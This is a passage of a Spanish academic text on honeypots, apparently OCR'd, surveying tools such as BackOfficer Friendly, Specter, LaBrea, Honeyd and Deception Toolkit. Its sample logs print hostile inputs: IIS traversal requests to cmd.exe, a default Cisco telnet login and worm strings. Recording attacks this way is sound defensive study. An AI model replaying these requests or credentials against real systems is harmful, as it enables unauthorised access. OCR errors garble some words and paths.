
= Specter : Honeypot comercial de baja interaccién, se instala en un sistema Windows.
Excelente solucién para trabajar si no se ha trabajado con honeypots anteriormente.

= Honeypots caseros. Diversas aplicaciones sencillas que pueden detectar, registrar y de-
tener varios ataques como spamimers, gusanos y €scaneos

» NetFacade : Honeypot comercial de baja interaccién, puede emular una red clase C con
multiples sistemas operativos.

» Smoke Detector : Honeypot comercial de baja interaccién, basado en un dispositivo.

» Honeyd : Honeypot de baja interaccion, basado en Uniz para plataforma BSD. Puede
emular redes de sistemas (cerca de 60,000 sistemas al mismo tiempo).

s Deception Toolkit : Honeypot libre de mediana interacecion, escrito en Lenguaje PERL y
C. Su primera versién fue liberada en 1997; basado en enganar a los intrusos y emular
aplicaciones.

= Mantrap : Honeypot comercial de alta interaccién, basado en Solaris, crea cuatro sis-
temas dentro de un sistema operativo. Cuenta con habilidades de captura de datos.

= Bait-n-Switch : No es realmente un honeypot. En vez de eso, es una tecnologia que dirige
todo el trafico de no producciéon o trafico no autorizado a el honeypots. Un concepto
muy poderoso.

= Bigeye : Un honeypot de baja interaccion que emula varios servicios.
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s HoneyWeb : Emula diferentes tipos de servidores web.

s KFSensor : Un honeypot de baja interaccién poderoso y facil de utilizar basado en
Windows.

s NetBait : Es una solucién comercial muy poderosa, Opera redireccionado ataques en
contra de IP sin utilizar a honeypots farms

= Honeynets : Honeypot libre de alta interaccién, disenado para la investigacion de in-
trusos. Esta es una soluciéon compleja y no apta para novatos.

A continuacién se describira més a detalle cada una de estas soluciones.

BackOfficer Friendly

BackOfficer Friendly (BOF)® es muy simple pero muy 1itil, desarrollado por Marcus
Ranum. Este es un buen ejemplo de una baja interaccién con el honeypot. Distribuido por
Network Flight Recorder (NFR), BackOfficer Friendly es libre iinicamente para uso personal.

Esta es una buena manera de aprender en el concepto y valor de los honeypots. BackOffi-
cer Friendly es un programa que se ejecuta en la mayoria de los sistemas Windows. Como se
puede observar en las figuras 2.4 y 2.5 lo que BackOfficer Friendly hace es emular algunos
servicios basicos, como podrian ser: hitp, ftp, telnet, mail o BackOrifice. Cuando se realiza
algun intento de conexién a los puertos, BackOfficer Friendly se encuentra monitoreando, y
registrard estos intentos, se puede apreciar esto en la figura 2.6 y 2.7. BackOfficer Friendly
también cuenta con la opcién de falsas respuestas, las cuales son enviadas al intruso cuando
se conecta. De esta manera se podra registrar ataques http, intentos de ingreso por fuerza
bruta a través de telnet, o una variedad de otras actividades. El valor de BackOfficer
Friendly es la detecciéon. Permite monitorear inicamente un nimero limitado de puertos,
pero estos puertos representan los servicios mas comunmente atacados. Un buen ejemplo de
un honeypot de produccion.

Ademas BackOfficer Friendly permite almacenar los registros en archivos, con esto se
puede obtener evidencia de eventos pasados.

Sep 24 10:14:15 HTTP request from 211.233.3.29: GET /scripts/
nsiislog.dll

Wed Sep 24 13:25:49 Telnet comnection from 24.57.15.206

Wed Sep 24 13:25:50 Telnet login attempted from 24.57.15.206:
user: enable, password: cisco

Fri Oct 03 05:58:34 HTTP bogus request from 143.129.140.139:
CONNECT 1.3.3.7:1337

HTTP/1.0

Sat Oct 04 16:48:32 HTTP bogus request from 62.50.74.92:
CONNECT 1.3.3.7:1337 HTTP/1.0

8 BackOfficer Friendly puede obtenerse en: http://www.nfr.net/products/bof/.
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NFR BackOfficer F
Fie Options Help

riendly - Warnings

Thu May 02 10:36:44
Thu May 02 10:35:47
Thu May 02 10:36:49
Thu May 02 10.36:50

enabled Bstening for Telnet
enabled listening for SMTP
enabled kstening for HTTP
enabled kstening for POP3

ThuMay 02 10:36:52  enabled kstening for IMAP2

Thu May 02 10:44:55 Telnet connection from 132 248 190.92
Thu Map 02 10:45:11  FTP connection hom 132 248,190 92
Thu May 02 10:45:48  HTTP request rom 132 248.73.9 GET /

Figura 2.4: Habilitacion de BackOfficer

NFR BackOfficer Friendly - Warnings

File ERSGEE Help

[Th v Run at Startup tenmafor F1P.

Tht eting for Telnet

Thi v Listen for Back Orifice  tening for SMTP

B & Listen for FTP faning g: gg;;

Thy v Listen for Telnet tening for IMAP2

Thi v Listen for SMTP wection from 132.248.130.92

Th sction from 132.248.190.92
v Listen for HTTP

Thi « Listen for POP3 est from 132248 739, GET / IlM"H“RI,.
v Listen for IMAPZ i
v Fake Replies

el

Figura 2.5: Opciones de BackOfficer

NFR BackDfficer Friendly - Warnings @
File Options Help

[WedMay 22132310 SMTP connection lrom 210.15,67.232

‘Wead May 22132345 SMTP connection fram 210.15.67, 232

Wed May 2213:2953 SMTP connection rom 210.15.67.232

Wed May 22 13:30:48  SMTP connection from 210.15.67.232

wedMay 22133316  FTP connection from 64.245.58.48

Wed May 22 13:38:22 SMTP connection rom 210.15.67 232

‘Wed May 22 13:4313  SMTP connection fram 210.15.67.232

‘Wad May 22 13:44:52 SMTP connection fram 2101567 232

‘Wed May 22 13.52:45 SMTP connection from 2101567 232 o
Wed May 22135514 SMTP connection from 210.15,67. 232 m"ﬂ"ﬂ

Figura 2.6: Deteccion de Coneziones con BackOfficer
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MNFR BackOfficer Friendly - Warnings
Fie Options Help
elnel connection from 132,248.190.92 ~
P connection from 132 248.190.92
TTP request from 132.248.73.9 GET /
TTP request from 132.248.97.243. GET /scripte/rool.exe?/c+dv
TTP request from 132.248.57.249: GET /MSADC /root, exe?/c+dit
TTP request from 132.248.97. 249 GET /c/winnt/system32/cmd exe?/cedi
HTTP request from 132 248.97. 249, GET /d/winnt/system32/cmd exe?/codir
HT TP request from 132.248.97 249, GET /scripts/.. %255¢. minnt/system32/cmd exe?/cs
FTTP empty request from 132 248.97. 249

e > INIFIR™

Figura 2.7: Deteccion de Ataque con BackOfficer

Sat Oct 04 16:32:08 HTTP request from 127.0.0.1: GET /index.html
Sat Oct 04 16:32:17 HTTP request from 127.0.0.1: GET /index.html
Sat Oct 04 16:48:32 HTTP bogus request from 62.50.74.92:

CONNECT 1.3.3.7:1337 HTTP/1.0

Sat Oct 04 18:19:15 FTP connection from 212.67.196.23

Sat Oct 04 18:28:31 FTP connection from 212.67.196.23

Sat Oct 04 18:36:12 FTP connection from 148.206.32.32

Sat Oct 04 18:38:54 FTP connection from 148.206.32.32

Sat Oct 04 18:47:11 HTTP request from 24.43.155.106: GET
/scripts/..%255c%255c. ./winnt/system32/cmd.exe?/c+dir

Sat Oct 04 18:55:53 FTP connection from 212.67.196.23

Fécil de instalar, BackOfficer Friendly es un poderoso programa de monitoreo que se
ejecuta en segundo plano, esperando que alguien tenga una interaccién del otro lado de la

red.

Specter

Specter? es un producto comercial y también podria ser llamado un honeypot de
produccion de baja interaccién. Es similar a BackOfficer Friendly ya que también emula
servicios, pero puede emular un gran rango de servicios y funcionalidades. Como com-
plemento, Specter puede emular servicios, pero ademas como se puede observar en la
figura 2.8 emula una variedad de sistemas operativos. De igual manera que BackOfficer
Friendly es facil de implementar y de bajo riesgo. Specter trabaja instalindose en un
sistema Windows. Los riesgos son minimos ya que no hay un sistema operativo real con
el cual un intruso tenga interaccién. Por ejemplo, Specter puede emular un servidor
web o telnet del sistema operativo que se elija. Cuando un intruso se conecta, specter
lista un encabezado de hifp o una pantalla de login. El intruso podra entonces intentar
obtener paginas web o ingresar al sistema. Esta actividad es capturada y registrada por
Specter, sin embargo, es muy poco lo que un intruso puede realizar. Specter no es una

9Para mayor informacién acerca de cémo obtener Specter consultar: http://www.specter.com/
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aplicacion real con la que un intruse pueda tener alguna interaccién, en vez de esto se
proporcionan funcionalidades con algunas limitaciones. El valor de Specter se encuentra
en la deteccion. Puede determinar répida y ficilmente quién estd observando y para qué.
Como un honeypot, este reduce los falso positivos y los falso negativos simplificando el pro-
ceso de deteccion. Specter también soporta una variedad de alertas y mecanismos de registro.

leslz181ELEISIELE] 2] 2

AL
ML
[}

- -

Servicios de Red Simulados Sistemas Inteligentes

Sistemas Operativos Simulados:

Windows 98 MacO8 Linux Solans
Windows NT MacOS X Unisys Unix Trub4
Windows 2000  NeXTStep Irix AIX
Windows XP

Sistemas Opertivos Host:
Windows NT Windows 2000 Windows XP

Figura 2.8: Arquitectura de Specter

Una de la pocas fallas de Specter es que también permite recoger demasiada informacién
o la habilidad automética de recoger mucha informacién. Parte de esta informacién recogida
es relativamente pasiva, como podrian ser algunos métodos de identificacion pasiva: Whois o
DNS lookups. Sin embargo, parte de esta informacién es activa, como podria ser un puerto
escaneado por el intruso. Mientras esta funcionalidad inteligente podria ser de valor, ya que
no se querra que el intruso tenga conocimiento de que esta siendo observado y registrado,
se debe tener cuidado si se implementa alguna respuesta automética hacia el intruso.

Specter es un honeypot inteligente o sistema de engano (deception). Simula un sistema
completo, proporcionando una interesante fuente de informacion alejando a los intrusos
de los sistemas reales. Los servicios que Specter proporciona son servicios comunes de
Internet los cuales aparentan ser perfectamente normales para los intrusos pero de hecho
son trampas, ya que les permite realizar intentos de conexion al sistema e incluso enviar
paquetes al sistema sin que tengan conocimiento de que toda la actividad se esta registrando.

Otra posibilidad interesante es instalar Specter en un sistema de produccién como podria
ser un servidor de mail. En el escenario el servicio SMTP es un servicio real proporcionado
por el sistema y todos los demads servicios son simulados por Specter. Si un intruso verifica
el sistema en busca de vulnerabilidades, podra determinar que el sistema se encuentra ejecu-
tando una variedad de servicios que pueden ser vulnerables, asi que probablemente intente
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Figura 2.9: Consola de Control de Specter

ingresar por alguno. Pero cuando el intruso crea que ha logrado ingresar, estara generando
una alerta y serd analizado, todo lo que el intruso realice sera registrado, al mismo tiempo
que un correo electronico se envia a la persona encargada de la administracion de specter.
Dentro de las ventajas que Specter proporciona se encuentran:

= La actividad sospechosa en la red puede ser detectada tempranamente.

» Los administradores son notificados en tiempo real de actividad hostil, asi pueden
inmediatamente analizar el problema y tomar acciones.

s Los registros detallados proporcionan informacién sobre el nivel de destreza del intruso
asi como sus intenciones y pueden ser una buena evidencia.

» Puede ser coleccionada importante informacién acerca de la identidad de los intrusos
automaticamente.

» El sistema es facil de instalar y configurar.
» Ninguna falsa alerta y ningin usuario ilegitimo podra ingresar al honeypot.

Specter cuenta con una consola de control grafica que se puede observar en la figura
2.9. La cual sirve para configurar y verificar el estado de specter. Ademas Specter puede ser
configurado remotamente desde un sistema Windows.

Specter también cuenta con una poderosa herramienta llamada Log Analizer, que se
muestra en la figura 2.10. La cual es capaz de buscar en la base de datos de incidentes y
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Figura 2.10: Analizador de Registros de Specter

desplegar toda la informacion acerca de un determinado incidente, esto se puede apreciar
en la figura 2.11.

Los sistemas operativos y opciones de cardcter combinadas con los servicios, trampas,
contrasenas y otras situaciones permiten que Specter pueda aparentar mas de 400 millones
de posibilidades distintas. El uso de nombres de usuario complejos, paginas web, mensajes
de mail, logins y otras opciones incrementan este niimero grandemente. Agrega otra capa de
abstraccion al cambiar al azar las vulnerabilidades. Por lo tanto, es virtualmente imposible
para un intruso detectar un sistema Specter al observar configuraciones, vulnerabilidades o
combinacion de servicios de red.

La variedad de sistemas operativos y las opciones de configuracién permiten que Specter
sea integrado perfectamente en cualquier ambiente. Es facil utilizar sus herramientas y
cualquier administrador con conocimientos solidos puede instalar un honeypot profesional
en poco tiempo. Specter produce registros detallados de protocolos para analisis técnicos,
con lo cual cualquiera puede entender los registros sin un alto nivel de conocimientos sobre
ciertos protocolos.

Honeypots Caseros

Otro honeypot comin es el honeypot casero. Estos honeypots son de baja interaccién. Su
propésito usualmente es capturar actividad especifica, como gusanos o actividad de escaneos.
Pueden ser utilizados como honeypots de produccion o de investigacion, dependiendo de su
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Figura 2.11: Informacion detallada sobre incidente con Specter

proposito. Una vez mas, aqui no hay mucho con lo que el intruso mantenga una interaccion,
sin embargo, el riesgo es reducido por lo que es poco el dano que el intruso podra hacer. Un
ejemplo comun es crear un servicio que se esté ejecutando en el puerto 80 (http) capturando
todo el trafico hacia y del puerto. Esto se hace para capturar ataques de gusanos. Una
implementacién podria ser usando netcat'” de la manera siguiente:

netcat -1 -p 80 > c:\honey\gusano\

Con el comando anterior, un gusano podria conectarse al puerto 80 donde esta es-
cuchando netcat. El ataque del gusano hace una conexién TCP exitosa y la transferencia se
realiza. Esta comunicacion podria entonces ser almacenada localmente en el honeypot, y ser
analizada por el administrador, quien puede evaluar la amenaza del gusano.

Los honeypots caseros pueden ser modificados para realizar mucho mas (y emular
mucho mds), requiriendo un alto nivel de implicacién e incurre en un alto nivel de
riesgo. Se pueden crear ambientes controlados dentro del sistema operativo permitien-
do al administrador registrar y monitorear toda la actividad del sistema. Los intrusos
pueden entonces tener una interaccién con este ambiente controlado. El valor aqui es:
el intruso podra realizar mds acciones y se podrda aprender mds. Sin embargo, se debe
tener mucho cuidado, el intruso podra tener una interaccién con mayor funcionalidad,
por lo que més cosas pueden salir mal cuando el honeypot sea potencialmente comprometido.

1V Neteat es una utilerfa que permite escuchar y registrar toda la actividad de un puerto especifico.
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Algunos ejemplos de honeypot caseros son:

Monitor de puertos. Escrito en lenguaje PERL por Johannes B. Ullrich, utilizado
para capturar las salidas del gusano W32",

Winetd. Emulador Inetd para Windows.

Honeypot Sendmail. Utilizado para identificar spammers de sendmaill.

LaBrea Tarpit. Permite identificar y deshabilitar ataques de gusanos.

A continuacion se describirdn estos cuatro ejemplos de honeypots caseros.

Monitor de puertos

El monitor de puertos es un honeypot simple compuesto por un script '? utilizado para
capturar la actividad enviada a un puerto. Originalmente disenado por Johannes B.
Ullrich para capturar el gusano Leaves.

Cuando una conexion se realiza, este programa capturara la cadena inicial enviada (usual-
mente la contrasena estandar en el caso del gusano Leaves: PWD14438136782715101980).
En respuesta a la cadena inicial, el servidor enviara:

23:21:47 - March 07, 2003, Saturday, verson: BoNus 2.1

El procedimiento del gusano serd enviar el comando del exploit actual, el cual es
registrado. El honeypot responderd con:

downloading file. file successfully downloaded. [11020 bytes]

Este mantendrd la conexién abierta para comandos adicionales. Por lo que, este es un
honeypot de baja interaccién, pero bastante exitoso en la biisqueda de nueva actividad del
gusano. Simplemente captura lo que le es enviado enganiando al gusano.

Winetd

Winetd'? es un verdadero inetd para NT4 y Windows 2000. Este ejecutard demonios
reales. modulos de honeypot.

Tiene incluidos muchos demonios simulados en su reciente version algunos demonios
reales como tep wrappers, y el codigo skeleton.

Las utilerfas preferidas pueden ser utilizadas por Winetd, si pueden ser controladas
a través de la linea de comandos, Wined podra ejecutarlas, estas ejecutan Winetd y
pasard cualquier conexién que ingrese al programa (un demonio) o la direccién /P (si es un

1El termino W32 es utilizado para identificar a todos aquellos gusanos que afectan los sistemas operativos
windows y que generalmente se distribuyen a través del correo electrénico

2Bl seript del monitor de puertos puede ser obtenido en: }m.p://www.ent.emct.corn;’hpitz!leaves.txt

¥ Para mayor informacion acerca de Winetd consultar: http://www.cotse.com/CotseLabs/winetd
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script de escaneo programado).
Los demonivs incluidos son:

» daytime

» echo

= smtp

= telnet

= leapfrog

= tcp wrappers

» digwhois (un programa que otorga dos demonios: whois y arin)

= scan-.20.pl (registra toda la informacién de la méquina conectada)

Este es un honeypot de baja interaccién que permite emular varios servicios de inetd
dentro de un sistema windows.

Honeypot Sendmail

Honeypot Sendmail consiste de varias técnicas', el uso de estas técnicas tiene como
propésito ayudar a complementar la pelea en contra del relay spam. El relay spam puede
ser combatido en la fuente y el destino del relay. Existen varias técnicas de filtros de spam
en el host destino. Los ISPs no proporcionan servicio para relay spam y cancelan cualquier
cuenta que se encuentre comprometida en relay spam.

Las técnicas para pelear en contra del relay existen pero no son generalmente utilizadas.
La técnica de configurar Sendmail'® para aceptar y descartar mensajes de relay aparente-
mente no son utilizadas frecuentemente.

La técnica generalmente utilizada consiste en configurar el servidor de correo elec-
tronico para filtrar los mensajes entrantes para identificar y parar la entrega de mensajes
spam. Una caracteristica de los mensajes de relay spam, es que cuentan con multiples
destinatarios. La técnica consiste en que los mensajes con mas de un destinatario son
sujetos a una prueba de validacién. Si estos mensajes pasan la validacién son entregados.
El resto permanecen detenidos y son revisados periddicamente, los mensajes validos son
entregados. Esta técnica funciona pero es muy compleja y requiere de una atencion frecuente.

Una técnica simple puede ser expresada en un comando sencillo:

4Para mayor informacién acerca de estas técnicas ver hitp://fightrelayspam.homestead.com/fightrel
ayspam/files /antispam02132002. him.
158endmail es uno de los programas mas utilizados para proporcionar servicio de correo electrénico.
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sendmail -db

Para versiones de sendmail 8.9 en adelante el relay no se encuentra de forma estandar.
Por lo que serd necesario activarlo con la siguiente linea en el archivo de configuracion:

FEATURE('promiscucus_relay’)dnl

Ademas se debe asegurar que una vez que el relay sea habilitado, sendmail no intente
entregar el mensaje a los destinatarios. Esto se indica a sendmail de la siguiente manera:

Cambiar:

# default delivery mode
0 DeliveryMode=background

Por:

# default delivery mode
0 DeliveryMode=queue

Con esto finalmente el sistema aparentard contar con un bonito y buen relay abierto.
Es obvio que esta técnica no se recomienda utilizar en un servidor de correo electrénico de
produccion. Es til y efectiva en cualquier sistema conectado a la red que no es un servidor de
correo electronico, pero se encuentra ejecutando algin sistema operativo como Uniz o Linuz.

El correo electronico normal no se ve afectado. Si esta técnica se ejecuta en un servidor
que no es servidor de correo electrénico. En este servidor no recibird correo electronico
legitimo normal. Si algiin mensaje de correo electrdnico se dirige hacia el servidor o desde
este, el flujo normal del correo electronico en el ambiente de produccién no sera afectado.

Los 1nicos mensajes de correo electrdnico atrapados en el servidor deberdn de tratarse
de relay o mensajes de prueba. Es obvio que los spammers utilizan los relays abiertos, es
obvio que buscan relays abiertos. Si esto ocurre es obvio que los spammers realizan esto de
la manera mas simple posible: escanean Internet en busca de relays abiertos. Si se crea un
sistema en la red que acepte pero no distribuya mensajes spam, es seguro que este sistema
serd fuente de este tipo de ataques y por lo tanto podré atrapar los mensajes de prueba de
relay.

Una vez que se han atrapado mensajes de prueba de relay se puede reportar estos al
proveedor ISP de la direccion IP fuente del ataque.
LaBrea Tarpit

LaBrea'® es un programa que crea una barrera, se dice que es un honeypot de deteccion.
LaBrea toma las ultimas direcciones IP sin utilizar en una red y crea sistemas virtuales que

YPara mayor informacion acerca de como obtener LaBrea consultar
hitp://www.hackbusters.net/LaBrea/.

Analisis de Amenazas de Seguridad en Cémputo



2.1 Honeypots 66

responden a intentos de conexion.

El concepto original de LaBrea comienza en respuesta al gusano Code Red. Este gusano
escanea todo un segmento de una red y no se detiene. No se puede parar al gusano pero si
se puede disminuir su intensidad.

LaBrea es una pequena aplicacion basada en Linuz que toma las direcciones [P sin
utilizar de una red para utilizarlas creando una trampa, la cual puede detener o reducir los
escaneos en la red. Las respuestas de LaBrea pueden causar que el sistema que se encuentra
realizando los escaneos se detenga, en ocasiones por un largo tiempo.

Una vez que el sistema virtual ha sido creado, LaBrea monitorea todo el trafico destinado
para la direccion MAC, la cual ha sido proporcionada al ruteador, una vez que una conexion
se realiza al sistema, seran enviadas respuestas que mantendran ocupado al sistema fuente
del ataque por un largo periodo de tiempo. LaBrea es una trampa que es utilizada para
capturar gusanos y escaners.

LaBrea podré también atrapar y sujetar los intentos de conexién. Para cambiar una
conexién de estado establecido a un estado de persistencia, LaBrea puede literalmente
atrapar las conexiones abiertas por un periodo indefinido de tiempo, por lo tanto un proceso
serd reiniciado cuando el otro lado lo termine. Comunicarse de esta manera hace que el
ancho de banda no sea afectado de gran manera, ademés el ancho de banda puede ser
configurado.

Para enganar eficientemente a las mds avanzadas herramientas de escaneo haciéndoles
creer que los sistemas virtuales son reales, LaBrea proporciona respuestas estandar a un
numero de pruebas tipicas de red, como podria ser escaneos SYN/ACK.

Todos los intentos de conexion pueden ser considerados sospechosos por naturaleza, ya
que los sistemas no existen realmente.

LaBrea también puede prevenir en contra de actividad maliciosa haciendo que la creacion
de gusanos sea menos intensa y las actividades de los intrusos menos peligrosa.

NetFacade

NetFacade'™ que cuenta con tecnologia de Detector de Intrusos proporciona una
habilidad de alerta en el uso de seguridad en red o manejo de intrusiones no autorizadas
dentro de la red. NetFacade agrega un perimetro adicional de monitoreo para las intrusiones,
complementando a los Firewalls y Sistemas de Deteccion de Intrusos (IDS), y reduce la
posibilidad de intrusiones ocurridas sin alerta previa de la actividad. Como complemento,
este es un efecto secundario para distraccién de intrusos para evitar que prueben o ataquen

1"Para mayor informacion acerca de cOmo obtener NetFacade consultar
hittp://wunv.itsecure. bbn.com/Net Facade. himl.
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la red de produceién real.

NetFacade simula una red de equipos ejecutando servicios vulnerables. En un escaneo
del rango de direcciones [P, la simulacién de NetFacade regresara informacién de los
servicios simulados, como si fueran servicios reales de una red real, ejecutandose en el host
actual. Como estos hosts virtuales no cuentan con usuarios, todo el trafico es considerado
sospechoso. Todo el trafico de NetFacade se registra y una alerta de la actividad se envia al
personal administrador de seguridad. Estas alertas pueden ser configuradas en varios niveles
y especificar acciones de respuesta. Por esta habilidad NetFacade puede identificar todos los
nuevos y desconocidos ataques, los cuales pueden ser fuente de nuevas firmas para Sistemas
Detectores de Intrusos y Firewalls.

Dentro de las caracteristicas de NetFacade se encuentran:

= Es capaz de simular una red tipo C, todos los hosts dentro de esta red tendrdn la
misma direccién MAC' de red.

= Puede simular 8 diferentes sistemas operativos.

= Es capaz de simular 13 diferentes servicios como FTP (wu 2.4.2 academ BETA 12 (1).
System V Release 4.0, y SunOS Version 4.1), SSH (SSH Communucationes Security
Ltd’s. versiones 1.2.26 y 2.0.9), etc.

= Automdticamente genera nombres de dominio, cuentas de usuario, sistemas operativos
y ejecuta servicios para simular hosts a través de la interfaz de red.

NetFacade puede ser considerado un honeypot de baja interaccion.

Smoke Detector

Smoke Detector'® puede agregar valor a la capa de protecciéon. Es capaz de ejecutar
19 de los sistemas operativos més comunes en un mismo sistema fisico, Smoke Detector
confundird y retardard a los intrusos que intenten ingresar a informacién critica. Cuando
Smoke Detector es accedido, la informacién es registrada e inmediatamente notificada
enviandola al administrador.

Algunas de las ventajas de Smoke Detector son:

s Proactivamente reduce las amenazas de los activos de una red.
= Permite al administrador responder en tiempo real a los ataques.

» Captura importante informacién como podria ser direcciones [P utilizadas en el ataque.

Algunas de sus caracteristicas son:

8Para  mayor informacién acerca de como obtener Smoke  Detector  consultar
http://palisadesys.com/products/.
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» [mpide ataques. Smoke Detector es una herramienta proactiva para completar la es-
trategia de seguridad. Se utiliza para disfrazar los servicios criticos y detectar intentos
de acceso no autorizados. Smoke Detector puede emular 19 sistemas operativos en una
sistema fisico. Es colocado en una red para que aparente ser los servidores importantes,
con la finalidad de confundir y retardar a los intrusos.

= Extiende el tiempo de respuesta. Mientras Smoke Detector se encuentra retardando a
los intrusos que intentan ingresar a los recursos criticos, capturard y registrard toda
la informacién comunicada durante la sesién y la enviard inmediatamente mediante
una alerta al administrador. Al momento que el intruso determine que esta intentando
ingresar a un servidor falso, el administrador ya contard con la informacién necesaria
v habra puesto bajo llave los recursos criticos.

» Captura de informacion. Smoke Detector capturara informacion importante de alguien
que se encuentre intentando comprometer el servidor y enviard esta informacién al
administrador del sistema. Incluyendo en esta informacién la fecha y hora del intento,
la direccion IP del servidor emulado que ha sido probado, la direccion IP del equipo
que se esta comunicando con Smoke Detector y el nimero que indica el nivel de alerta,
el cual se utiliza para ayudar al administrador a calibrar la severidad del ataque.

Smoke Detector también se considera un honeypot de baja interaccién.

Honeyd

Honeyd" es un pequeiio demonio que crea hosts virtuales en una red. El host puede
ser configurado para ejecutar arbitrariamente servicios y su personalidad T'CP puede ser
adaptada, con lo cual los hosts aparentan que estan ejecutando ciertas versiones de sistemas
operativos. Honeyd habilita un simple host para que pretenda tener muchas direcciones.
Este puede inclusive simular una red de area local.

Es posible realizar pruebas a los hosts virtuales, como puede ser la ejecucion de un
comando de identificacién pasiva. Cualquier tipo de servicio en la méaquina virtual puede ser
simulado de acuerdo a un simple archivo de configuracién. En vez de simular un servicio,
también es posible redireccionar éste hacia otra maquina.

Las diferentes firmas TCP se obtienen a través de un archivo de configuracién nmap®
de identificacion pasiva. La configuracién de la personalidad es el sistema operativo que
nmap o zprobe*' regresaran. Los perfiles pueden ser configurados para determinar si
permitiran escaneos a puertos abiertos o para seleccionar la preferencia en la cual respondan
a fragmentos de paquetes IP “Internet Protocol”.

YPara mayor informacién sobre Honeyd consultar: http://wunw.citi.umich. edu/u/proves/honeyd/.

20 Nmap es una utilerfa que permite realizar escaneos a grandes segmentos de red, para mayor informacién
consultar : hittp://www.nmap.org

lyprobe permite realizar escaneos a segmentos de red, para mayor informacién consultar

http://zprobe.sourceforge.net/
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Homeyd puede ser utilizado para crear una honeynet virtual®* o una red general de
monitoreo. Este apoya la topologia de red incluyendo ruteadores dedicados y ruteadores
normales. Los ruteadores pueden ser atribuidos con ciertas caracterfsticas para que la
topologia parezca mas realista. '

Muchos de los honeypots de baja interaccion que se han discutido hasta este momento
dan el mismo valor de deteccion y reaccién, pero requieren poco trabajo y el riesgo es
menor. A continuacion se describiran otros honeypots que elevan su nivel de interaccion.

Deception Toolkit

Creado por Fred Cohen, Deception Toolkit*® es uno de los honeypots originales. Es
conocido como DTK y se podria catalogar como un honeypot de mediana interaccién.
Este puede realizar mds que Specter y por lo tanto proporcionard mayor informacién, pero
se requiere de mucho trabajo para instalarlo y adicionalmente cuenta con mayor riesgo.
Sin embargo, este no tiene una alta interaccién con el honeypot. ya que aqui no hay un
sistema operativo verdadero con el cual un intruso pueda interactuar. Deception Toolkit es
una coleccién de programas de lenguaje PERL diseniados para sistemas UNIX que emulan
una variedad de vulnerabilidades conocidas. La gran ventaja es que el kit de herramientas
es libre y se tiene el cddigo fuente. La desventaja de estos programas es que pueden ser
potencialmente explotados y darle al intruso acceso al sistema. Cada programa emula
una vulnerabilidad conocida. Por ejemplo, ciertos programas emulan servidores SMTP
vulnerables. Si el sistema es exitosamente atacado y comprometido, los intrusos pueden
configurar Deception Toolkit para enviarse los archivos de contrasenas del sistema a su
cuenta de correo electronico.

El objetivo de Deception Toolkit es doble: engano (prevencion) y alerta (deteccién). Tal
como ya se discutié anteriormente, el engano (“deception”) contribuye poco en el valor
de la prevencién. Cuando Deception Toolkit fue liberado por primera vez, enganando a
los ntrusos, contaba con un gran valor, ya que atacar un sistema requeria de una alta
interaccion del intruso. Sin embargo, un gran porcentaje de los ataques en la actualidad son
altamente automatizados, como los autorooters y gusanos. los cuales probardan y atacardn
cualquier cosa que tenga una direccién [P asignada. En este caso no es un wntruso el que
engana. ya que no se requiere intervencién del intruso para que la herramienta funcione. Sin
embargo, Deception Toolkit tiene su valor en la deteccion. Al igual que Specter, Deception
Toolkit puede ser utilizado para detectar ataques en contra del sistema. La ventaja de
Deception Toolkit en la deteccion, es que se pueden modificar los programas para emular
cualquier vulnerabilidad que se quiera. La desventaja es: se necesita mas trabajo para
desarrollarlo.

La idea bésica no es nueva. Se utiliza el engano para contar los ataques. En el caso
de Deception Toolkit el engano es proponerse aparentar, para los intrusos, que el sistema

22Las honeynets virtuales son explicadas en el siguiente capitulo en la seccidn 3.6
23Para mayor informacién sobre Deception Toolkit consultar: http://www.all.net/dtk/
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que estd ejecutando Deception Toolkit tiene un gran nimero de vulnerabilidades conocidas.
Deception Toolkit es programable, pero esté tipicamente limitado para producir salidas en
respuesta a una entrada de un intruso, simulando que el sistema esté ejecutando un servicio
vulnerable para el método del intruso. Esto tiene algunos efectos interesantes:

= Incrementa la carga de trabajo del intruso, ya que no puede facilmente conocer cuales de
sus intentos de ataque fallan y cuales no. Por ejemplo, si un ataque produce que Decep-
tion Toolkit aparente ser un archivo de contrasenas de Unix, el intruso probablemente
intente ejecutar un ataque por diccionario para adivinar alguna contrasena y asi tratar
de irrumpir en el sistema. Pero si el archivo de contrasenas es falso, el intruso con-
sumird tiempo y esfuerzo sin obtener resultado alguno.

» Permite registrar los intentos de ingreso del intruso y responder antes de que explote
una vulnerabilidad a la que es susceptible. Por ejemplo, cuando un intruso intenta
utilizar un ataque de Sendmail en contra del sistema, se registran todas las entradas
para almacenar sus técnicas. Con el engano colocado, no se tiene problema en escoger
que puertos se ejecutan, la adivinacién de contrasenas y todas las otras maneras de
intentos de ataque que pueden ocurrir.

= Si alguna persona utiliza Deception Toolkit, podra ver que los ataques son una manera
de ahorrar tiempo. Si algunas otras personas comienzan a utilizar Deception Toolkit,
tal vez los intrusos se sientan cansados y ejecuten sus ataques en cualquier otro lugar.
Si mucha gente utiliza Deception Toolkit, los intrusos probablemente se den cuenta que
es necesario invertir demasiado tiempo y esfuerzo para irrumpir dentro de los sistemas
y ademads tienen un alto riesgo de deteccion antes de que sus ataques sean exitosos.

= Si suficientes personas utilizan Deception Toolkit y trabajan juntos para almacenar las
alertas actualizadas, probablemente se eliminen todas, pero los ataques més sofisticados
seran detectados después de que sean dados a conocer por la comunidad de seguridad.
Con Deception Toolkit se puede conocer la actividad de los intrusos asi como conocer
los ataques mads serios y llevar un registro de ellos.

Mantrap

Producido por Recorse, Mantrap®* es un honeypot comercial y solo existe para sistema
operativo Solaris. En vez de emular servicios, Mantrap levanta cuatro subsistemas, a menudo
llamados jaulas. Estas jaulas son l6gicamente sistemas operativos discretos separados de un
sistema operativo maestro, se puede ver esta analogia en la figura 2.12, los administradores
de seguridad podran modificar estas jaulas, como lo hacen normalmente con cualquier sistema
operativo, esto incluye instalar aplicaciones que elijan, como podria ser una base de datos
Oracle® o un servidor Web con Apache®. Esto hace que el honeypot sea mucho mas flexible,
por lo cual este podra realizar mucho mas.

2"Para mayor informacién sobre Mantrap consultar :http://www.recouse.com
%5 Oracle es uno de los manejadores de bases de datos mas utilizado en el mundo.

% Apache es uno de los servidores web maés utilizados, para mayor informacién consultar:
hittp://www.apache.org
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Jaula 1 Jaula 2 Jaula 3 Jaula 4
Sistema de Archivos | |Sistema de Archivos | |Sistema de Archivos | [Sistema de Archivos
Aplicaciones Aplicaciones Aplicaciones Aplicaciones
Datos Datos Datos Datos

[Alchivos de configuracidn y registio de Mnntmp]

NUCLEO DE MANTRAP CUBIERTO
{ MAHTRAP KERIIEL WRAPPER )

NUCLEO

